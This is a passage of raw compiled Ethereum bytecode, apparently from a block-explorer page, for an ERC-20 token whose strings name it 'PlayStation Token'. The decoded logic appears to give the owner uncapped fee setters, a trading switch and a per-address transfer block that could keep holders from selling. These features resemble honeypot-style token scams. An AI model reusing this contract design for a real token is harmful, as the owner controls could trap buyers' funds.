151502179055506001600d60146101000a81548160ff0219169083151502179055505050565b60075481565b6116df611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390613093565b60405180910390fd5b8060068190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611805611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188990613093565b60405180910390fd5b600047116118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc906134d2565b60405180910390fd5b6118dd611480565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611922573d6000803e3d6000fd5b50565b600b5481565b611933611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b790613093565b60405180910390fd5b8060098190555050565b6119d2611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613093565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae39061353e565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60149054906101000a900460ff1681565b611b62611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690613093565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb8906135d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2790613662565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e0e9190612ecf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e81906136f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613786565b60405180910390fd5b60008111611f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3390613818565b60405180910390fd5b6000611f46611480565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611fb45750611f84611480565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561249a57600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561205d5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61206657600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061210f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561215a57600b54421015612159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215090613884565b60405180910390fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122055750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561225b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612344576009548211156122a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229c906138f0565b60405180910390fd5b600a54826122b285611015565b6122bc91906132a2565b11156122fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f49061395c565b60405180910390fd5b612325606461231760065485612a8990919063ffffffff16565b612b0390919063ffffffff16565b90506008600081548092919061233a9061397c565b9190505550612499565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123cd57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156124235750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124985760095482111561246d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612464906138f0565b60405180910390fd5b612495606461248760075485612a8990919063ffffffff16565b612b0390919063ffffffff16565b90505b5b5b600081111561259e576124f581600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b4d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125959190612ecf565b60405180910390a35b6125f082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bab90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126976126498284612bab90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b4d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61273c8486612bab90919063ffffffff16565b6040516127499190612ecf565b60405180910390a350505050565b600083831115829061279f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127969190612d78565b60405180910390fd5b50600083856127ae91906139c4565b9050809150509392505050565b6000810315612a1a57600d60149054906101000a900460ff1615612a1a576000600267ffffffffffffffff8111156127f6576127f56139f8565b5b6040519080825280602002602001820160405280156128245781602001602082028036833780820191505090505b509050308160008151811061283c5761283b613a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129079190613a6b565b8160018151811061291b5761291a613a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061298230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c52565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016129e6959493929190613b91565b600060405180830381600087803b158015612a0057600080fd5b505af1158015612a14573d6000803e3d6000fd5b50505050505b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612a85573d6000803e3d6000fd5b5050565b6000808303612a9b5760009050612afd565b60008284612aa99190613260565b9050828482612ab89190613c1a565b14612af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aef90613cbd565b60405180910390fd5b809150505b92915050565b6000612b4583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bf5565b905092915050565b6000808284612b5c91906132a2565b905083811015612ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9890613d29565b60405180910390fd5b8091505092915050565b6000612bed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612757565b905092915050565b60008083118290612c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c339190612d78565b60405180910390fd5b5060008385612c4b9190613c1a565b9050809150509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8882612c5d565b9050919050565b612c9881612c7d565b8114612ca357600080fd5b50565b600081359050612cb581612c8f565b92915050565b600060208284031215612cd157612cd0612c58565b5b6000612cdf84828501612ca6565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d22578082015181840152602081019050612d07565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d4a82612ce8565b612d548185612cf3565b9350612d64818560208601612d04565b612d6d81612d2e565b840191505092915050565b60006020820190508181036000830152612d928184612d3f565b905092915050565b6000819050919050565b612dad81612d9a565b8114612db857600080fd5b50565b600081359050612dca81612da4565b92915050565b60008060408385031215612de757612de6612c58565b5b6000612df585828601612ca6565b9250506020612e0685828601612dbb565b9150509250929050565b60008115159050919050565b612e2581612e10565b82525050565b6000602082019050612e406000830184612e1c565b92915050565b6000819050919050565b6000612e6b612e66612e6184612c5d565b612e46565b612c5d565b9050919050565b6000612e7d82612e50565b9050919050565b6000612e8f82612e72565b9050919050565b612e9f81612e84565b82525050565b6000602082019050612eba6000830184612e96565b92915050565b612ec981612d9a565b82525050565b6000602082019050612ee46000830184612ec0565b92915050565b600080600060608486031215612f0357612f02612c58565b5b6000612f1186828701612ca6565b9350506020612f2286828701612ca6565b9250506040612f3386828701612dbb565b9150509250925092565b600060208284031215612f5357612f52612c58565b5b6000612f6184828501612dbb565b91505092915050565b600060ff82169050919050565b612f8081612f6a565b82525050565b6000602082019050612f9b6000830184612f77565b92915050565b612faa81612c7d565b82525050565b6000602082019050612fc56000830184612fa1565b92915050565b6000612fd682612c5d565b9050919050565b612fe681612fcb565b82525050565b60006020820190506130016000830184612fdd565b92915050565b6000806040838503121561301e5761301d612c58565b5b600061302c85828601612ca6565b925050602061303d85828601612ca6565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061307d602083612cf3565b915061308882613047565b602082019050919050565b600060208201905081810360008301526130ac81613070565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561313957808604811115613115576131146130b3565b5b60018516156131245780820291505b8081029050613132856130e2565b94506130f9565b94509492505050565b600082613152576001905061320e565b81613160576000905061320e565b81600181146131765760028114613180576131af565b600191505061320e565b60ff841115613192576131916130b3565b5b8360020a9150848211156131a9576131a86130b3565b5b5061320e565b5060208310610133831016604e8410600b84101617156131e45782820a9050838111156131df576131de6130b3565b5b61320e565b6131f184848460016130ef565b92509050818404811115613208576132076130b3565b5b81810290505b9392505050565b600061322082612d9a565b915061322b83612f6a565b92506132587fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613142565b905092915050565b600061326b82612d9a565b915061327683612d9a565b925082820261328481612d9a565b9150828204841483151761329b5761329a6130b3565b5b5092915050565b60006132ad82612d9a565b91506132b883612d9a565b92508282019050808211156132d0576132cf6130b3565b5b92915050565b7f4163636f756e74206973206e6f742065786c6375646564000000000000000000600082015250565b600061330c601783612cf3565b9150613317826132d6565b602082019050919050565b6000602082019050818103600083015261333b816132ff565b9050919050565b7f4e6f7420656e6f7567682076616c756500000000000000000000000000000000600082015250565b6000613378601083612cf3565b915061338382613342565b602082019050919050565b600060208201905081810360008301526133a78161336b565b9050919050565b7f4e6f2062616c616e636520746f20776974686472617700000000000000000000600082015250565b60006133e4601683612cf3565b91506133ef826133ae565b602082019050919050565b60006020820190508181036000830152613413816133d7565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613450601783612cf3565b915061345b8261341a565b602082019050919050565b6000602082019050818103600083015261347f81613443565b9050919050565b7f4e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b60006134bc600e83612cf3565b91506134c782613486565b602082019050919050565b600060208201905081810360008301526134eb816134af565b9050919050565b7f4163636f756e7420616c7265616479206578636c756465640000000000000000600082015250565b6000613528601883612cf3565b9150613533826134f2565b602082019050919050565b600060208201905081810360008301526135578161351b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135ba602483612cf3565b91506135c58261355e565b604082019050919050565b600060208201905081810360008301526135e9816135ad565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061364c602283612cf3565b9150613657826135f0565b604082019050919050565b6000602082019050818103600083015261367b8161363f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136de602583612cf3565b91506136e982613682565b604082019050919050565b6000602082019050818103600083015261370d816136d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613770602383612cf3565b915061377b82613714565b604082019050919050565b6000602082019050818103600083015261379f81613763565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613802602983612cf3565b915061380d826137a6565b604082019050919050565b60006020820190508181036000830152613831816137f5565b9050919050565b7f54726164696e672069732063757272656e746c79206f66660000000000000000600082015250565b600061386e601883612cf3565b915061387982613838565b602082019050919050565b6000602082019050818103600083015261389d81613861565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006138da601983612cf3565b91506138e5826138a4565b602082019050919050565b60006020820190508181036000830152613909816138cd565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613946601a83612cf3565b915061395182613910565b602082019050919050565b6000602082019050818103600083015261397581613939565b9050919050565b600061398782612d9a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036139b9576139b86130b3565b5b600182019050919050565b60006139cf82612d9a565b91506139da83612d9a565b92508282039050818111156139f2576139f16130b3565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613a6581612c8f565b92915050565b600060208284031215613a8157613a80612c58565b5b6000613a8f84828501613a56565b91505092915050565b6000819050919050565b6000613abd613ab8613ab384613a98565b612e46565b612d9a565b9050919050565b613acd81613aa2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613b0881612c7d565b82525050565b6000613b1a8383613aff565b60208301905092915050565b6000602082019050919050565b6000613b3e82613ad3565b613b488185613ade565b9350613b5383613aef565b8060005b83811015613b84578151613b6b8882613b0e565b9750613b7683613b26565b925050600181019050613b57565b5085935050505092915050565b600060a082019050613ba66000830188612ec0565b613bb36020830187613ac4565b8181036040830152613bc58186613b33565b9050613bd46060830185612fa1565b613be16080830184612ec0565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c2582612d9a565b9150613c3083612d9a565b925082613c4057613c3f613beb565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ca7602183612cf3565b9150613cb282613c4b565b604082019050919050565b60006020820190508181036000830152613cd681613c9a565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d13601b83612cf3565b9150613d1e82613cdd565b602082019050919050565b60006020820190508181036000830152613d4281613d06565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201aa8ec4cca3b9a0bf70bb0b35c597f8ace25758fbf00ff588d48d52c6763aabb64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102295760003560e01c8063751039fc11610123578063bc89f75b116100ab578063e17936ad1161006f578063e17936ad146107b8578063ec28438a146107e3578063efa3ef441461080c578063ffb54a9914610835578063ffecf5161461086057610230565b8063bc89f75b146106e7578063cc1776d314610710578063dc1052e21461073b578063dd62ed3e14610764578063de48abf4146107a157610230565b80638da5cb5b116100f25780638da5cb5b146105fe5780638f9a55c01461062957806395d89b4114610654578063962dfc751461067f578063a9059cbb146106aa57610230565b8063751039fc1461057c5780637d1db4a5146105935780638183b3c8146105be5780638cd09d50146105d557610230565b80633bbac579116101b157806351bc3c851161017557806351bc3c85146104bd5780635fecd926146104d45780636ddd1713146104fd57806370a0823114610528578063715018a61461056557610230565b80633bbac579146103d8578063479309a5146104155780634885a5f91461043e57806349bd5a5e146104675780634f7041a51461049257610230565b806318160ddd116101f857806318160ddd146102f157806323b872dd1461031c57806327a14fc21461035957806327b1a8e914610382578063313ce567146103ad57610230565b8063048dec381461023557806306fdde031461025e578063095ea7b3146102895780631694505e146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c60048036038101906102579190612cbb565b610889565b005b34801561026a57600080fd5b50610273610962565b6040516102809190612d78565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab9190612dd0565b61099f565b6040516102bd9190612e2b565b60405180910390f35b3480156102d257600080fd5b506102db6109bd565b6040516102e89190612ea5565b60405180910390f35b3480156102fd57600080fd5b506103066109e3565b6040516103139190612ecf565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612eea565b610a07565b6040516103509190612e2b565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612f3d565b610ae0565b005b34801561038e57600080fd5b50610397610b7f565b6040516103a49190612ecf565b60405180910390f35b3480156103b957600080fd5b506103c2610b85565b6040516103cf9190612f86565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa9190612cbb565b610b8e565b60405161040c9190612e2b565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190612f3d565b610be4565b005b34801561044a57600080fd5b5061046560048036038101906104609190612cbb565b610c8e565b005b34801561047357600080fd5b5061047c610e0a565b6040516104899190612fb0565b60405180910390f35b34801561049e57600080fd5b506104a7610e30565b6040516104b49190612ecf565b60405180910390f35b3480156104c957600080fd5b506104d2610e36565b005b3480156104e057600080fd5b506104fb60048036038101906104f69190612cbb565b610f12565b005b34801561050957600080fd5b50610512611002565b60405161051f9190612e2b565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190612cbb565b611015565b60405161055c9190612ecf565b60405180910390f35b34801561057157600080fd5b5061057a61105e565b005b34801561058857600080fd5b506105916111b1565b005b34801561059f57600080fd5b506105a86112e1565b6040516105b59190612ecf565b60405180910390f35b3480156105ca57600080fd5b506105d36112e7565b005b3480156105e157600080fd5b506105fc60048036038101906105f79190612f3d565b6113e1565b005b34801561060a57600080fd5b50610613611480565b6040516106209190612fb0565b60405180910390f35b34801561063557600080fd5b5061063e6114a9565b60405161064b9190612ecf565b60405180910390f35b34801561066057600080fd5b506106696114af565b6040516106769190612d78565b60405180910390f35b34801561068b57600080fd5b506106946114ec565b6040516106a19190612fec565b60405180910390f35b3480156106b657600080fd5b506106d160048036038101906106cc9190612dd0565b611512565b6040516106de9190612e2b565b60405180910390f35b3480156106f357600080fd5b5061070e60048036038101906107099190613007565b611530565b005b34801561071c57600080fd5b506107256116d1565b6040516107329190612ecf565b60405180910390f35b34801561074757600080fd5b50610762600480360381019061075d9190612f3d565b6116d7565b005b34801561077057600080fd5b5061078b60048036038101906107869190613007565b611776565b6040516107989190612ecf565b60405180910390f35b3480156107ad57600080fd5b506107b66117fd565b005b3480156107c457600080fd5b506107cd611925565b6040516107da9190612ecf565b60405180910390f35b3480156107ef57600080fd5b5061080a60048036038101906108059190612f3d565b61192b565b005b34801561081857600080fd5b50610833600480360381019061082e9190612cbb565b6119ca565b005b34801561084157600080fd5b5061084a611b47565b6040516108579190612e2b565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190612cbb565b611b5a565b005b610891611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091590613093565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280601181526020017f506c617953746174696f6e20546f6b656e000000000000000000000000000000815250905090565b60006109b36109ac611c4a565b8484611c52565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a6109f39190613215565b6305f5e100610a029190613260565b905090565b6000610a14848484611e1b565b610ad584610a20611c4a565b610ad085604051806060016040528060288152602001613d4a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a86611c4a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127579092919063ffffffff16565b611c52565b600190509392505050565b610ae8611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90613093565b60405180910390fd5b80600a8190555050565b60085481565b60006012905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610bec611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7090613093565b60405180910390fd5b8042610c8591906132a2565b600b8190555050565b610c96611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90613093565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da690613322565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e77611c4a565b73ffffffffffffffffffffffffffffffffffffffff1614610e9757600080fd5b6000610ea230611015565b90506000811115610eb757610eb6816127bb565b5b60004790506000811115610ed357610ece81612a1d565b610f0e565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f059061338e565b60405180910390fd5b5050565b610f1a611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9e90613093565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60159054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611066611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ea90613093565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111b9611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90613093565b60405180910390fd5b6012600a6112549190613215565b6305f5e1006112639190613260565b6009819055506012600a6112779190613215565b6305f5e1006112869190613260565b600a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a6112bb9190613215565b6305f5e1006112ca9190613260565b6040516112d79190612ecf565b60405180910390a1565b60095481565b6112ef611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137390613093565b60405180910390fd5b600061138730611015565b9050600081116113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c3906133fa565b60405180910390fd5b6113de306113d8611480565b83611e1b565b50565b6113e9611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90613093565b60405180910390fd5b8060078190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600a5481565b60606040518060400160405280600b81526020017f506c617953746174696f6e000000000000000000000000000000000000000000815250905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061152661151f611c4a565b8484611e1b565b6001905092915050565b611538611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc90613093565b60405180910390fd5b600d60149054906101000a900460ff1615611615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160c90613466565b60405180910390fd5b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60156101000a81548160ff0219169083151502179055506001600d60146101000a81548160ff0219169083151502179055505050565b60075481565b6116df611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390613093565b60405180910390fd5b8060068190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611805611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188990613093565b60405180910390fd5b600047116118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc906134d2565b60405180910390fd5b6118dd611480565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611922573d6000803e3d6000fd5b50565b600b5481565b611933611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119c0576040517f08c379a0000000000000000000000000000000